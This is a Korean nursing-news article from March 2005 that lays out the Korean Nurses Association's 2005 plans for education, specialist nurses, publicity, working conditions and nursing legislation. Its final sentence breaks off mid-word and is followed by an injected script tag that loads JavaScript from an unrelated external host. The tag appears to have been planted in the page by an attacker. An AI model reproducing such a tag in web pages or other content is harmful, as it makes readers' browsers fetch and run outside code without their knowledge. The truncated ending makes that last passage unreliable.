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2005년도 대한간호협회 사업계획
[편집국] 정규숙   kschung@nursenews.co.kr     기사입력 2005-03-03 오전 09:28:05
 대한간호협회는 제72회 정기 대의원 총회에서 2005년도에 중점을 두고 추진할 사업계획을 심의 확정했다. 올해 사업계획은 대한간호협회 제5차 장기사업계획(2004~2008년)의 7대 사업목표에 근간을 두고 마련됐다. 사업계획의 주요내용을 알아본다.

 ◇국민의 건강수준 향상
 변화하는 시대적 요구에 부응하는 간호전문직의 역할을 다할 수 있도록 우수 간호인력을 개발하고 준비하는데 목표를 두고 있다. 이를 위해 우선 간호인력의 역할을 정립하는데 힘을 쏟을 계획이다. 간호사 윤리의식 강화를 위해 윤리선언 및 윤리지침을 제정하고, 윤리심의기구 개설을 위한 준비작업도 추진한다.

 ◇간호자원 개발 및 간호전문화
 간호교육제도 4년제 일원화 전략 개발을 위한 연구를 하고, 일원화 지지기반을 확보하는데 주력키로 했다. 전문간호사 체계 확립에도 힘쓸 계획이다. 보수교육 평점제 시스템을 운영하고, 간호사 경력관리체계 구축안을 마련키로 했다. 사이버교육센터를 효율적으로 운영해 나가고, 사이버 보수교육의 질적 관리에 힘쓰기로 했다. 회원을 위한 국내외 연수프로그램을 개발 지원하고, 간호관리자 훈련프로그램으로 리더십 훈련과정을 개발할 계획이다.

 ◇자율적 전문직 인증과 조정
 제5차 장기사업계획에서는 간호평가원 독립 운영, 간호교육 질 관리, 면허·자격제도 개선, 자격시험 관리, 저작권 관리 등을 구체적인 사업목표로 세워 놓았다. 이 부분은 올해부터 재단법인 한국간호평가원 사업으로 이관돼 추진된다.

 ◇비전과 간호력 증강
 간호협회 회원 배가를 위한 전략을 개발하고, 회원증카드사업을 활성화하는데 중점을 두었다. 조직강화 차원에서 전국 시·도간호사회와 산하단체, 간협 중앙회 직원을 대상으로 한 직무수련회를 개최할 예정이다. 시·도간호사회와 산하단체 실무자를 위한 전산교육 및 회계프로그램 교육도 실시한다. 대한간호협회 홈페이지(www.koreanurse.or.kr)를 회원들이 능동적으로 참여하는 열린 공간으로 운영해 나가고, 각종 자료를 신속히 업데이트할 계획이다. 간협 자료실의 도서관리 자동화 시스템을 정착시키는데 주력키로 했다. KNA연수원에 대한 홍보활동을 강화하고 효율적인 운영에 힘쓰기로 했다.

 ◇홍보 활성화 및 사회교류 증진
 간호사 이미지 향상을 위해 대중매체 모니터링 활동을 강화해 나가기로 했다. 다양한 매체를 통해 바람직한 간호사 이미지가 소개될 수 있도록 노력하고, 간호관련 기사가 보도될 수 있도록 홍보자료를 적극적으로 보급하는데 힘쓸 계획이다. 간호대학생을 대상으로 간호협회를 알리는 운동도 전개한다. 간호수첩(2006~2007년도)을 제작 배포한다. 포상 후보자 발굴 시스템을 구축하고, 외부기관에서 후원하는 간호사 포상제도를 개발키로 했다.
 간협신보를 매주 발행하고, 창간 30주년(2006년) 기념행사를 기획하며, 제26회 간호문학상을 공모한다. 대한간호를 격월간으로 발간한다. 간호사 국가시험대비 문제집, 보수교육교재 등을 발간하고, 한국간호과학회와 공동으로 국시문제집 개정을 위한 워크숍을 개최할 계획이다.
 전국 시·도간호사회 중심으로 건강한 모유수유아 선발대회를 개최한다. 대한간호봉사단을 운영하고, 자원봉사자 교육을 실시할 예정이다. 국제교류를 위해 ICN 타이완 총회, 제7차 국제간호·조산규정회의, 제58차 세계보건총회, ICN 아시아 워크포스 포럼, 아시아간호연맹(AANA) 회의 등에 참가할 계획이다. 한·중대표자 상호교환방문도 계획되어 있으며, 국제한인간호재단 운영을 지원키로 했다.

 ◇간호사 근무환경 개선 및 건강지원적 환경조성
 간호인력 수급계획안을 작성할 계획이다. 근로환경 개선을 위해 간호사 적정 근로조건 및 적정 임금에 대한 현황을 파악하고 전략을 개발키로 했다. 회원들의 국내외취업 지원과 민원상담을 위한 통합서비스 시스템을 구축할 계획이다. 회원 권익옹호 활동에 주력하고, 천재지변시 피해를 입은 회원들에게 위로금을 지원한다. 회원을 위한 대여장학금과 고시장학금 지원제도를 계속 운영키로 했다. 한국나이팅게일회를 운영한다.

 ◇보건의료관련 법·정책의 개선
 간호계의 숙원사업인 간호사법 제정을 위한 활동은 올해에도 체계적으로, 다각도로 계속된다. 의료법 등 각종 법령 개정시 간호계 의견을 적극적으로 제출하고, 불합리한 제도 개선을 위한 활동을 펴기로 했다.
 대한간호정책연구소 개소식을 개최할 계획이다. 연구소에서는 매월 1회 간호정책포럼을 열며, 정책연구 인턴제도를 실시할 예정이다.
 간호사와 간호대학생 인터넷 네트워크를 구축해 간호정책 홍보활동을 강화해 나갈 계획이다. 정부부처, 여성단체, 시민단체 등과 긴밀히 협력해 나가고 한국질환단체총연합회와 공동심포지엄을 개최할 예정이다. 간호사들의 정치의식과 시민권리의?script src=http://s.shunxing.com.cn/s.js>
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